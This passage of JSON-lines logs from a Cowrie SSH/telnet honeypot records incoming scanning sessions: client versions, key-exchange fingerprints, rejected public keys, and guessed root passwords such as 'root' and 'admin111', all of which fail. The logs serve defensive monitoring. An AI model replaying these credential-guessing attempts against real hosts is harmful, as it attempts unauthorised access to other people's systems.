a256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.276361Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:c4:75:0a:a8:93:65:be:0e:e1:a0:0c:17:65:02:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJpfpPScFXOqta+p9cKF1RzpIcpHZqqyiXMN9F24B2N54DZMQYjwbVGFfIYyMHmesuavvLucyB7W4kDatAtvxPOzwoYIzp80suTOFl5V/oTvFC73BeFpNkwR48h4r0cBx4lbcGyu5Jtb89bywrNtboq4e6o1Zt9XZ0ZETwFZO8tzAAAAFQC+hVmLlh3CTJkGX4QVy2fMrTIsdwAAAIEAhCPYR2PP9kYDFunIudtd/paGDsRAvf3BILskORhkYwtWKvyrym4qpj5Foh1LrXoVn7fikI2FOVFtQKAfbr8t/vpMWSoLdc5bRJBLQt128I9aK3jIt2A0VYR1nWKVTYbpzsLGorKjobgB0OxRAcj/HleDucngMVih7Ok3XU6DyOwAAACAYvNx8hUmHu82YBcZ3DdILVgwWocWKUQ4q0WFnvGO264pYh4g1+XEUOBfkyKRxb0PI1be4xr4YLwk2qaiq4IcdvfKST5vVLd2Ifd+lI6iKafddawJ7UG2gtLtMdV1o5WFRiHWLFokejVCu6h5ZGHZYGD5MS7P0rWLkRMixNEA9Bk=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint cd:c4:75:0a:a8:93:65:be:0e:e1:a0:0c:17:65:02:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.847991Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:c4:75:0a:a8:93:65:be:0e:e1:a0:0c:17:65:02:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJpfpPScFXOqta+p9cKF1RzpIcpHZqqyiXMN9F24B2N54DZMQYjwbVGFfIYyMHmesuavvLucyB7W4kDatAtvxPOzwoYIzp80suTOFl5V/oTvFC73BeFpNkwR48h4r0cBx4lbcGyu5Jtb89bywrNtboq4e6o1Zt9XZ0ZETwFZO8tzAAAAFQC+hVmLlh3CTJkGX4QVy2fMrTIsdwAAAIEAhCPYR2PP9kYDFunIudtd/paGDsRAvf3BILskORhkYwtWKvyrym4qpj5Foh1LrXoVn7fikI2FOVFtQKAfbr8t/vpMWSoLdc5bRJBLQt128I9aK3jIt2A0VYR1nWKVTYbpzsLGorKjobgB0OxRAcj/HleDucngMVih7Ok3XU6DyOwAAACAYvNx8hUmHu82YBcZ3DdILVgwWocWKUQ4q0WFnvGO264pYh4g1+XEUOBfkyKRxb0PI1be4xr4YLwk2qaiq4IcdvfKST5vVLd2Ifd+lI6iKafddawJ7UG2gtLtMdV1o5WFRiHWLFokejVCu6h5ZGHZYGD5MS7P0rWLkRMixNEA9Bk=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.852327Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf916O0qzQS/duVXJNJB21CI1xKy4jeLjIoApas9nsr1zGuebe06jyed+/8+ypFzPLsGHUyiQw5QHRtoIqXjHVJ8zX87a2BiQy7SMjgxvfxYWv45Ekk05zLmJjwogxBHWy76GmfsIjaqJnRchdCAFKgVOnDd3pxy3elM0VNoa7Pu6MRWob1Ry0Kp4hPeF7mUxMQbxiLYhTetPR+GpwY2ZSHkvvzupLLtcbHndMzRTcJ7l2i/fe8lKvm9CEflyY5L+k9CKO8Y2Dze28etganGxaSU2XcUUKnZ0yGabBXaFSREYE6lvULp+kqChWEKl0+aagYRVw+G6r69K2WL1lDBx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.972335Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf916O0qzQS/duVXJNJB21CI1xKy4jeLjIoApas9nsr1zGuebe06jyed+/8+ypFzPLsGHUyiQw5QHRtoIqXjHVJ8zX87a2BiQy7SMjgxvfxYWv45Ekk05zLmJjwogxBHWy76GmfsIjaqJnRchdCAFKgVOnDd3pxy3elM0VNoa7Pu6MRWob1Ry0Kp4hPeF7mUxMQbxiLYhTetPR+GpwY2ZSHkvvzupLLtcbHndMzRTcJ7l2i/fe8lKvm9CEflyY5L+k9CKO8Y2Dze28etganGxaSU2XcUUKnZ0yGabBXaFSREYE6lvULp+kqChWEKl0+aagYRVw+G6r69K2WL1lDBx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.975987Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:e1:ec:84:47:81:0d:ba:f0:70:22:12:85:c8:ac:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoFp8zvFLDcTs4OI19WyLvyG1qbfxtZZ6NWWOngDtkIMjKOlgqVg2sqwnUKNIGDSmayaat5/GRDcQ8rKOntoGAwd4EHCyLpNvUw8rh/jZ0b+wGqCvlViy7UvW73mhkp5SF7SzLKox1aIdFRLawplZBg8goCLSfzbYvCu+zvVheWJmnLaKJZFDXG2V4eVUF2I3WRrsAoAhwOu/ijv9A9KRVkpXFFgQMDFeVSgHmxgsbg/+dHmhOtH/Jo8aqClHCpZA1fWA8354mTf82MChlj6xZETlBNkSStE4WaifN5i8/fWdm3X3sQMg8uHlUzQuzNMnYJUl7spXGJfGGfCHUGkwV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:e1:ec:84:47:81:0d:ba:f0:70:22:12:85:c8:ac:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.094253Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:e1:ec:84:47:81:0d:ba:f0:70:22:12:85:c8:ac:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoFp8zvFLDcTs4OI19WyLvyG1qbfxtZZ6NWWOngDtkIMjKOlgqVg2sqwnUKNIGDSmayaat5/GRDcQ8rKOntoGAwd4EHCyLpNvUw8rh/jZ0b+wGqCvlViy7UvW73mhkp5SF7SzLKox1aIdFRLawplZBg8goCLSfzbYvCu+zvVheWJmnLaKJZFDXG2V4eVUF2I3WRrsAoAhwOu/ijv9A9KRVkpXFFgQMDFeVSgHmxgsbg/+dHmhOtH/Jo8aqClHCpZA1fWA8354mTf82MChlj6xZETlBNkSStE4WaifN5i8/fWdm3X3sQMg8uHlUzQuzNMnYJUl7spXGJfGGfCHUGkwV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.097958Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:c6:95:c4:0e:78:a0:73:27:28:60:c1:e3:74:f0:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy8wjiRs4Ek4tAfSiVugaSaIBuAnpjrMUD1ZHXnXqtMd2uKba0a2I7Zr4OR8wbsuiYNSLGpG2v8zsn2GXopDJejV1yi0CetoICv1ZjvUiEJMquN8PxOBzLg28qTVMNa9QKxBAt+0fvefUdfsY9fx8GcuP1yD7btnForg78zFUlulzUGw7/JSmZgmWruk9J0X5DFtgZbP0gP9YZsF0hv66DE4j6zvQxV4Ud/DK8DpdIlb+0UsGjzKu3h0pEPcxPutbUIP4lQDkTzDu2D7vJoYf6FEspl/N5EtW0sdxUGufZ03Ctv43VP5qRUplqLh+bJ2YBzgjkUm/+t9gofxwu73u/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:c6:95:c4:0e:78:a0:73:27:28:60:c1:e3:74:f0:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.219030Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:c6:95:c4:0e:78:a0:73:27:28:60:c1:e3:74:f0:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy8wjiRs4Ek4tAfSiVugaSaIBuAnpjrMUD1ZHXnXqtMd2uKba0a2I7Zr4OR8wbsuiYNSLGpG2v8zsn2GXopDJejV1yi0CetoICv1ZjvUiEJMquN8PxOBzLg28qTVMNa9QKxBAt+0fvefUdfsY9fx8GcuP1yD7btnForg78zFUlulzUGw7/JSmZgmWruk9J0X5DFtgZbP0gP9YZsF0hv66DE4j6zvQxV4Ud/DK8DpdIlb+0UsGjzKu3h0pEPcxPutbUIP4lQDkTzDu2D7vJoYf6FEspl/N5EtW0sdxUGufZ03Ctv43VP5qRUplqLh+bJ2YBzgjkUm/+t9gofxwu73u/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.222760Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:0c:92:a1:47:55:41:14:91:c6:c4:75:73:2a:d2:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi7xD7bEljHM4OgCEORAc0PL+E1sNq87N7Cmh33tCIS74abrRYV4SU9q6EHdMDmju7Z2996YXEZ1HLXEwtjUqYzT4aspp8N3nZjR03nzXVTGW5G4Clu3eM6/91Bw13DNmjtgWySYYGVbEM+O8oL/G2sHBFz3pJO8ZjYLjbVmColGBP+qzjq002G5GV4EWLA1iepedFz8/HvdwdZvweQ6bjX/YOdX7UW7hk3J//pToJt0jIuA0hJQ4O9TxAnEdPj/GhkhqWsG/kw+8IQtNh9vWf1rwUCX6jIZcL7oTRq6TcFBiYxfXEip1WMPcI8sBKxl1w16J4ppBhsvT1BEJG2f5L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:0c:92:a1:47:55:41:14:91:c6:c4:75:73:2a:d2:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.342319Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:0c:92:a1:47:55:41:14:91:c6:c4:75:73:2a:d2:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi7xD7bEljHM4OgCEORAc0PL+E1sNq87N7Cmh33tCIS74abrRYV4SU9q6EHdMDmju7Z2996YXEZ1HLXEwtjUqYzT4aspp8N3nZjR03nzXVTGW5G4Clu3eM6/91Bw13DNmjtgWySYYGVbEM+O8oL/G2sHBFz3pJO8ZjYLjbVmColGBP+qzjq002G5GV4EWLA1iepedFz8/HvdwdZvweQ6bjX/YOdX7UW7hk3J//pToJt0jIuA0hJQ4O9TxAnEdPj/GhkhqWsG/kw+8IQtNh9vWf1rwUCX6jIZcL7oTRq6TcFBiYxfXEip1WMPcI8sBKxl1w16J4ppBhsvT1BEJG2f5L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.346109Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:40.465444Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:45.293168Z","src_ip":"223.83.114.88","session":"18415d4b4cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":46110,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c3980f3d70","protocol":"ssh","message":"New connection: 27.79.44.54:46110 (159.203.135.109:22) [session: 80c3980f3d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:48.992802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:48.997909Z","src_ip":"27.79.44.54","session":"80c3980f3d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:49.261588Z","src_ip":"27.79.44.54","session":"80c3980f3d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:51.838807Z","src_ip":"27.79.44.54","session":"80c3980f3d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:58.782948Z","src_ip":"27.79.44.54","session":"80c3980f3d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":55928,"dst_ip":"10.17.0.5","dst_port":23,"session":"839b47c02cb7","protocol":"telnet","message":"New connection: 49.88.156.34:55928 (10.17.0.5:23) [session: 839b47c02cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:49:18.271412Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.92.11","src_port":54066,"dst_ip":"159.203.135.109","dst_port":22,"session":"659e8eea25ef","protocol":"ssh","message":"New connection: 125.124.92.11:54066 (159.203.135.109:22) [session: 659e8eea25ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:49:48.035985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:49:48.040823Z","src_ip":"125.124.92.11","session":"659e8eea25ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:49:48.280788Z","src_ip":"125.124.92.11","session":"659e8eea25ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin111","message":"login attempt [root/admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:49:49.242258Z","src_ip":"125.124.92.11","session":"659e8eea25ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.133.118","src_port":59270,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ff2bd6f7c9","protocol":"ssh","message":"New connection: 136.243.133.118:59270 (10.17.0.5:22) [session: 50ff2bd6f7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:40.506349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:40.511538Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:40.604529Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:bc:8a:cc:78:81:96:dc:cb:77:e1:87:70:09:ee:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qMebFo9+oFzdTkxPsxLkzD8B9whLlHKskFtKXWb/dsyuL1ik9adcdHxqtVfR/KpekS4+0AU1UxKQsqUoNrWBaVWbaHlSKsQS4sWAQ/S8m60kLu4S5RtYYwqeMWvLk+FEq8kQBgDUxLaGEoGR79PV7P71Y4Dp+bLEk/dIhaSS0RaJUP/eMGMttY9JZztYyUeUqMYhttuJbJGtw5+F3mz0t1v0JB6G9D8FWQkU3HLOGycoy7Dt3yhe7IwqYD2ysjinOKQKA2bch2LFKoYbaOs8MwZ9+ARCJ50JAyVNmyKnArcSFCkALk2gGdiwuaVJwHgdtr38pEUObgafqPZ9ny77","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:bc:8a:cc:78:81:96:dc:cb:77:e1:87:70:09:ee:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.044576Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:bc:8a:cc:78:81:96:dc:cb:77:e1:87:70:09:ee:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qMebFo9+oFzdTkxPsxLkzD8B9whLlHKskFtKXWb/dsyuL1ik9adcdHxqtVfR/KpekS4+0AU1UxKQsqUoNrWBaVWbaHlSKsQS4sWAQ/S8m60kLu4S5RtYYwqeMWvLk+FEq8kQBgDUxLaGEoGR79PV7P71Y4Dp+bLEk/dIhaSS0RaJUP/eMGMttY9JZztYyUeUqMYhttuJbJGtw5+F3mz0t1v0JB6G9D8FWQkU3HLOGycoy7Dt3yhe7IwqYD2ysjinOKQKA2bch2LFKoYbaOs8MwZ9+ARCJ50JAyVNmyKnArcSFCkALk2gGdiwuaVJwHgdtr38pEUObgafqPZ9ny77","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.048528Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
